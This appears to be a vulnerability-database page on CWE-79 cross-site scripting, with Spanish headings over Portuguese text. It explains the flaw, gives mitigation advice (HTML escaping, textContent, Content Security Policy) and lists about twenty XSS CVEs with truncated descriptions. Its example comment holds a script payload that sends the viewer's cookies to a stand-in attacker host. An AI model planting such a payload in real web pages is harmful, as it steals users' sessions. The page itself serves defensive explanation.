Fallos del tipo CWE-79

29.170 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-47917HIGHMobotix - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')EPSS 0.5%CVE-2022-3193MEDIUMAn HTML injection/reflected Cross-site scripting (XSS) vulnerability was found in the ovirt-engine. A parameter "error_description" fails toEPSS 0.5%CVE-2025-51990MEDIUMXWiki through version 17.3.0 is affected by multiple stored Cross-Site Scripting (XSS) vulnerabilities in the Administration interface, specEPSS 0.5%CVE-2023-0107MEDIUMCross-site Scripting (XSS) - Stored in usememos/memosEPSS 0.5%CVE-2026-26723HIGHCross Site Scripting vulnerability in Key Systems Inc Global Facilities Management Software v. 20230721a allows a remote attacker to executeEPSS 0.5%CVE-2024-22238MEDIUMAria Operations for Networks contains a cross site scripting vulnerability. A malicious actor with admin privileges may be able to inject maEPSS 0.5%CVE-2017-5256—In version 3.5 and prior of Cambium Networks ePMP firmware, all authenticated users have the ability to update the Device Name and System DeEPSS 0.5%CVE-2023-0949MEDIUMCross-site Scripting (XSS) - Reflected in modoboa/modoboaEPSS 0.5%CVE-2024-51486MEDIUMStored Cross-Site Scripting in AmpacheEPSS 0.5%CVE-2023-0111MEDIUMCross-site Scripting (XSS) - Stored in usememos/memosEPSS 0.5%CVE-2024-40631HIGHCross-site Scripting (XSS) in media embed element when using custom URL parsers in plate mediaEPSS 0.5%CVE-2023-49276MEDIUMAttribute Injection leading to XSS(Cross-Site-Scripting) in uptime-kumaEPSS 0.5%CVE-2024-41677MEDIUMCross-site Scripting (XSS) vulnerability due to improper HTML escaping in qwikEPSS 0.5%CVE-2024-0422LOWCodeAstro POS and Inventory Management System New Item Creation Page new_item cross site scriptingEPSS 0.5%CVE-2023-2615MEDIUMCross-site Scripting (XSS) - Reflected in pimcore/pimcoreEPSS 0.5%CVE-2026-12811MEDIUMkortix-ai suna Auth Endpoint page.tsx router.push cross site scriptingEPSS 0.5%CVE-2025-0957HIGHVulnerability: SMTP for Amazon SES <= 1.8 - Unauthenticated Stored Cross-Site Scripting via Email LogsEPSS 0.5%CVE-2022-46622MEDIUMA cross-site scripting (XSS) vulnerability in Judging Management System v1.0 allows attackers to execute arbitrary web scripts or HTML via aEPSS 0.5%CVE-2025-27088HIGHReflected Cross-site Scripting (XSS) in template implementation in oxyno-zeta/s3-proxyEPSS 0.5%CVE-2024-0424LOWCodeAstro Simple Banking System Create a User Page createuser.php cross site scriptingEPSS 0.5%